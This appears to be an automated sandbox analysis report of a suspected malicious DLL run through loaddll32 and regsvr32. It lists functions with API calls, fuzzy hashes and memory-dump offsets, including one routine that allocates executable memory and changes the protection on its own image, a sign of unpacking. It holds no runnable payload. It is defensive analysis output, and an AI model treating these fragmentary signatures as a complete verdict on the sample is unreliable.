Opcode Fuzzy Hash: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction Fuzzy Hash: 2E41D6F2504606ABDF019BB8CE54B9D37F6AF49374F150125EA18A71D0EB31D68187E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D700A9F, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D7010C1: _free.LIBCMT ref: 6D7010CF

Part of subcall function 6D701C1A: WideCharToMultiByte.KERNEL32(?,00000000,6D6FF667,00000000,00000001,6D6FF5F6,6D703EDB,?,6D6FF667,?,00000000,?,6D703C4A,0000FDE9,00000000,?), ref: 6D701CBC

GetLastError.KERNEL32 ref: 6D700B07
__dosmaperr.LIBCMT ref: 6D700B0E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6D700B4D
__dosmaperr.LIBCMT ref: 6D700B54

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction ID: 03ba21f3ab7e82531a221dc1a71076120afdce64efa3923e01bee48cb2e121bf
Opcode Fuzzy Hash: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction Fuzzy Hash: B12190F1608606AF9B108F668D80D6BB7EDEF4537C701852AE918D72C0DB34EC418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D701E3D, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction ID: da3cef94366406150c35879e99d8ea1d202dc1459e0a37779b923ea354e3f603
Opcode Fuzzy Hash: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction Fuzzy Hash: D9210BF5A05222A7DB118A658D40B2E77E8AB027BDF154139EE55E71C1E730E901C9E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD3AC, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6D703991,?,00000001,6D6FF667,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?), ref: 6D6FD3B1
_free.LIBCMT ref: 6D6FD40E
_free.LIBCMT ref: 6D6FD444
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?,?,6D72EBD8,0000002C,6D6FF667), ref: 6D6FD44F

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction ID: ddf1f74e73115aa4c5026592c51d7e32570fc0111cf4ededbc0716ab4ffa6fc2
Opcode Fuzzy Hash: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction Fuzzy Hash: 7911207320CB066AD7211A759D88B6B2167ABCB279F574234F728521C0DF61EC024932

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD503, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,00000001,6D730096,6D6FD67C,6D6FD707,6D730094,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD508
_free.LIBCMT ref: 6D6FD565
_free.LIBCMT ref: 6D6FD59B
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD5A6

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction ID: 1786cfad34682ea95574c1ac61174d54f57922744874fc773d5c74c221b0a5b2
Opcode Fuzzy Hash: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction Fuzzy Hash: 4B1104B7248B015ADB115A75CD44F1B116797CB27DF974134F61C931C0DF61DC064532

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FA243, Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,6D6FA304,?,?,6D73C7C4,00000000,?,6D6FA42F,00000004,6D7293A4,6D72939C,6D7293A4,00000000), ref: 6D6FA2D3

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction ID: 03199f9cbfce2e72cd732fe5809859856a18b03a4e7cbf51f366d1ab7b7063ea
Opcode Fuzzy Hash: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction Fuzzy Hash: A811A775B85D26ABDF12CA588C44F5973B5AF0A7B0F194220ED10A76C0E771EA0286D5

Uniqueness

Uniqueness Score: -1.00%

Function 6D707BEC, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001), ref: 6D707C03
GetLastError.KERNEL32(?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001,?,6D703E74,6D6FF5F6), ref: 6D707C0F

Part of subcall function 6D707BD5: CloseHandle.KERNEL32(6D730910,6D707C1F,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001), ref: 6D707BE5

___initconout.LIBCMT ref: 6D707C1F

Part of subcall function 6D707B97: CreateFileW.KERNEL32(6D72DD58,40000000,00000003,00000000,00000003,00000000,00000000,6D707BC6,6D706B6D,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707BAA

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707C34

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction ID: abb9013b4e29d025c6dbe90bde1b1b5ea94d5d7c5ca750083c7e6b5fb29550ac
Opcode Fuzzy Hash: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction Fuzzy Hash: 0FF0C776505119BBCF221F95CD08A9E7FB5FF4A371F054425FA18951E0DB3289209B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC39E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6D6FC3E1, 6D6FC3E8, 6D6FC41E

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction ID: f0f5b94b731964dfcbdb32d19e1956796661ba4789a34ea3ad7b4ecbae6bc853
Opcode Fuzzy Hash: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction Fuzzy Hash: 7F410871A44A25ABCB12CF9DCCC09AEBBFAFF8D314F124066E505D7200D7709A02CB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 5316 Parent PID: 5896 regsvr32.exeCOMMON

Executed Functions

Function 6D7323C3, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480
VirtualAlloc.KERNEL32(00000000,000000C6,00003000,00000040,6D731E7C), ref: 6D7324B7
VirtualAlloc.KERNEL32(00000000,00013F51,00003000,00000040), ref: 6D732517
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D73254D
VirtualProtect.KERNEL32(6D6B0000,00000000,00000004,6D7323A2), ref: 6D732652
VirtualProtect.KERNEL32(6D6B0000,00001000,00000004,6D7323A2), ref: 6D732679
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2), ref: 6D732746
VirtualProtect.KERNEL32(00000000,?,00000002,6D7323A2,?), ref: 6D73279C
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6D7327B8

Memory Dump Source

Source File: 00000002.00000002.501509836.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction ID: b88867980c7519d398aa25b5af033bc72ed18d69cec6036d4dde0f3129acffb5
Opcode Fuzzy Hash: ff07580d84d1116ad52de69ff726b821f661c6dc75642e126b2e6fdedb51cdd0
Instruction Fuzzy Hash: 3FD16A36200291AFDF11CF14C981F617BA6FF48714B1B41B5EE0AAF65BD731A850DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F74F1, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D6F752E
dllmain_crt_dispatch.LIBCMT ref: 6D6F7545
dllmain_raw.LIBCMT ref: 6D6F758D
dllmain_crt_dispatch.LIBCMT ref: 6D6F75A0
dllmain_raw.LIBCMT ref: 6D6F75B3

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction ID: d184751816f297049db220b4a17918428d1397ac18190293dc0bfc28b14a19c6
Opcode Fuzzy Hash: 45b587f83e2affab100332b12c8f2c7d5ccde82822387d63ea1a77f5d252db83
Instruction Fuzzy Hash: 7A2167B1D04959ABDB224F55DD40E7F3A7BEB8D794F014119F91957210DB308E438B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F733A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D6F7387

Part of subcall function 6D6F7BA4: RtlInitializeSListHead.NTDLL(6D73C780), ref: 6D6F7BA9

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D6F73F1
___scrt_fastfail.LIBCMT ref: 6D6F743B

Strings

yom, xrefs: 6D6F7407

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: Initialize$HeadList___scrt_fastfail___scrt_is_nonwritable_in_current_image
String ID: yom
API String ID: 2097537958-2702784548
Opcode ID: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction ID: 171ca0641743fd58634212b78c4dbcc1867a50850f1823b8fe35aa9cc1965e52
Opcode Fuzzy Hash: f0436dc32f6a4b6a66fa5b3e516b8d8a9f7af00d131df41d9362c13685221dbc
Instruction Fuzzy Hash: 58210572E0CA079EDB005FB494047AC7BB39F1E32EF124069CA48672C1CB610147C66E

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F3500, Relevance: 1.7, APIs: 1, Instructions: 199COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,?), ref: 6D6F35B3

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction ID: 09ad8c7f56ce73973e22dff8fbb1fc7c8d266262bf6f9f86de8caec49d5316c8
Opcode Fuzzy Hash: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction Fuzzy Hash: C07129796001558FCB24CF2EC4907E9BBF6FB5A212F56817AE494C7381E3349609DB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D702F4D, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 6D700978: RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6D7009B9

_free.LIBCMT ref: 6D702FBC

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: b7804acc5ac8e76e4e277d302aae37f77a1a99be9d03590c493c00d748cf0a8c
Instruction ID: 7c921a27ad9e7c3b9ecaf73bd0f34330266256915f14a16c22275733cb926d61
Opcode Fuzzy Hash: b7804acc5ac8e76e4e277d302aae37f77a1a99be9d03590c493c00d748cf0a8c
Instruction Fuzzy Hash: 1501FEB3608316ABD331CF58C88499AFBD8FB093B4F51062DE555B76C0D7706810CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D700978, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6D7009B9

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction ID: 8be70b4f7681433732489675157065a87ed958d3bb7f165222286d72ab680b79
Opcode Fuzzy Hash: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction Fuzzy Hash: B5F080B166563567FB115F274E04F6B77DDAF82770F028033ED18A61D4DB20E44145A3

Uniqueness

Uniqueness Score: -1.00%

Function 6D73236F, Relevance: 1.3, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480

Memory Dump Source

Source File: 00000002.00000002.501509836.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13ce7eefb69c60275e232e355e86237a4a5226d54fe27f17f03bb94639c6f09a
Instruction ID: ed5ee83ed7fdd76c7ea6ffc2dab4753027078d4acbfddf89965cdcc44f1c18e7
Opcode Fuzzy Hash: 13ce7eefb69c60275e232e355e86237a4a5226d54fe27f17f03bb94639c6f09a
Instruction Fuzzy Hash: 0B318E3214E3D18FDB268B248CA4B507F60BF07654B0B05EADA86DF297D7686849C773

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D70293A, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6D70297E

Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056CE
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056E0
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056F2
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705704
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705716
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705728
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70573A
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70574C
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70575E
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705770
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705782
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705794
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7057A6

_free.LIBCMT ref: 6D702973

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D702995
_free.LIBCMT ref: 6D7029AA
_free.LIBCMT ref: 6D7029B5
_free.LIBCMT ref: 6D7029D7
_free.LIBCMT ref: 6D7029EA
_free.LIBCMT ref: 6D7029F8
_free.LIBCMT ref: 6D702A03
_free.LIBCMT ref: 6D702A3B
_free.LIBCMT ref: 6D702A42
_free.LIBCMT ref: 6D702A5F
_free.LIBCMT ref: 6D702A77

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction ID: 331b47eafbd56f21f8c4fbc37dcff1f123749972833534dbf2440adee6551933
Opcode Fuzzy Hash: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction Fuzzy Hash: A13190B2608702AFEB318A34DA44B6673E9BF45324F12452AE95DD7190DF71F841CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F94D0, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F95CB
type_info::operator==.LIBVCRUNTIME ref: 6D6F95F2
___TypeMatch.LIBVCRUNTIME ref: 6D6F96FE
CatchIt.LIBVCRUNTIME ref: 6D6F9753
IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F97D9
_UnwindNestedFrames.LIBCMT ref: 6D6F9860
CallUnexpected.LIBVCRUNTIME ref: 6D6F987B

Strings

csm, xrefs: 6D6F9578
csm, xrefs: 6D6F950B
csm, xrefs: 6D6F9629

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction ID: d277426115a80f230a5ef08fff2d893d67ecd374529666c0b87c08fe26f7b64f
Opcode Fuzzy Hash: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction Fuzzy Hash: DBC16B71C08A0AAFCF19CFA4C8809AEBB76BF4C318F11445BE9256B215D731D652CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD268, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D6FD27E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D6FD28A
_free.LIBCMT ref: 6D6FD295
_free.LIBCMT ref: 6D6FD2A0
_free.LIBCMT ref: 6D6FD2AB
_free.LIBCMT ref: 6D6FD2B6
_free.LIBCMT ref: 6D6FD2C1
_free.LIBCMT ref: 6D6FD2CC
_free.LIBCMT ref: 6D6FD2D7
_free.LIBCMT ref: 6D6FD2E5

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction ID: bd8ea57ccb27f362a011f6b362522ebe86ef667ec87233c79e5462d753ab33c8
Opcode Fuzzy Hash: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction Fuzzy Hash: F321B876948508AFCF41DF94C890DDD7BBAEF48244F028166EA1D9B125DB31EA46CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6D700339, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction ID: d8df4f2bb36a19a0d0b3dc5338692da961b34c54ee4ea13997642228a79c9fc3
Opcode Fuzzy Hash: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction Fuzzy Hash: 4AC1D5B0A482469FDB01CF99C981FADBBF6BF8A334F01416AE558972C1C7709941CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6D7046B5, Relevance: 13.8, APIs: 9, Instructions: 273COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D7047C9
__dosmaperr.LIBCMT ref: 6D7047D0
GetFileType.KERNEL32(00000000), ref: 6D7047DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D7047E6
__dosmaperr.LIBCMT ref: 6D7047EF
CloseHandle.KERNEL32(00000000), ref: 6D70480F
CloseHandle.KERNEL32(6D6FFCD2), ref: 6D70495C
GetLastError.KERNEL32 ref: 6D70498E
__dosmaperr.LIBCMT ref: 6D704995

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$CloseHandle$FileType
String ID:
API String ID: 906505306-0
Opcode ID: 353d8661921d6fa25a03515704add60a79138270b6dec0a630a05a384bb1bf1b
Instruction ID: de7e2cf61c0ee2379a2fbb46e1ff42c4543b4dc1f9f75a1e068791097c1af3cc
Opcode Fuzzy Hash: 353d8661921d6fa25a03515704add60a79138270b6dec0a630a05a384bb1bf1b
Instruction Fuzzy Hash: 5EA169B2A081558FCF09CF68C941BAD7BF1AB5B338F15416EE811AB3D0CB349812DB52

Uniqueness

Uniqueness Score: -1.00%

Function 6D705850, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6D705818: _free.LIBCMT ref: 6D70583D

_free.LIBCMT ref: 6D70589E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7058A9
_free.LIBCMT ref: 6D7058B4
_free.LIBCMT ref: 6D705908
_free.LIBCMT ref: 6D705913
_free.LIBCMT ref: 6D70591E
_free.LIBCMT ref: 6D705929

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction ID: 1d151e6b5131e8a50262f27947612d3a5d74395fbe0ddf1605f1559f05417abf
Opcode Fuzzy Hash: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction Fuzzy Hash: 6C1106B1489B14B6D620A770CC0AFDB77DDAF05714F824C14BB9E661D0C731B4014F99

Uniqueness

Uniqueness Score: -1.00%

Function 6D70354B, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000001,00000000), ref: 6D703593
__fassign.LIBCMT ref: 6D703772
__fassign.LIBCMT ref: 6D70378F
WriteFile.KERNEL32(?,6D6FF5F6,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7037D7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6D703817
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7038C3

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction ID: b2cee0d4d9ef85382a047999efd643142898c878b6e37ed4526705eefe670aa4
Opcode Fuzzy Hash: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction Fuzzy Hash: 79D1BEB5D002599FCF11CFE8CA809EDBBF5BF49324F1540AAE855BB281D730A946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9199, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F91A7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D6F91B5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D6F91CE
SetLastError.KERNEL32(00000000,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F9220

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction ID: d466be70f120863584409a9ed591909336d26e2100611045cd2e4f3a3f0deb23
Opcode Fuzzy Hash: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction Fuzzy Hash: E401F53611DA1A5EEB100E756C84A6E7677EB0F77D762023BE624810D0EF524853D154

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9279, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6D6F9340
___AdjustPointer.LIBCMT ref: 6D6F9363
___AdjustPointer.LIBCMT ref: 6D6F93FF

Strings

yom, xrefs: 6D6F92D8

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AdjustPointer
String ID: yom
API String ID: 1740715915-2702784548
Opcode ID: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction ID: 8c16236d1a10d2484b70a101d47360a674e44e2ebac332b7aec64a3b9f0bdfa1
Opcode Fuzzy Hash: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction Fuzzy Hash: E551A073608E069FDB198F55C840BBE77B6FF4931CF10442AE915862D0D731E952CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D701207, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6D70120C

Memory Dump Source

Source File: 00000002.00000002.500874365.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction ID: 49e756555a771f09dd4bff4bef018842bb1b50df0536a485e80a74627be04b0b
Opcode Fuzzy Hash: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction Fuzzy Hash: 9F217FF170820AAF97009F658E8096B77EDAB4537C7018625FE18D71D0EB30EC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D7057AF, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D7057C7

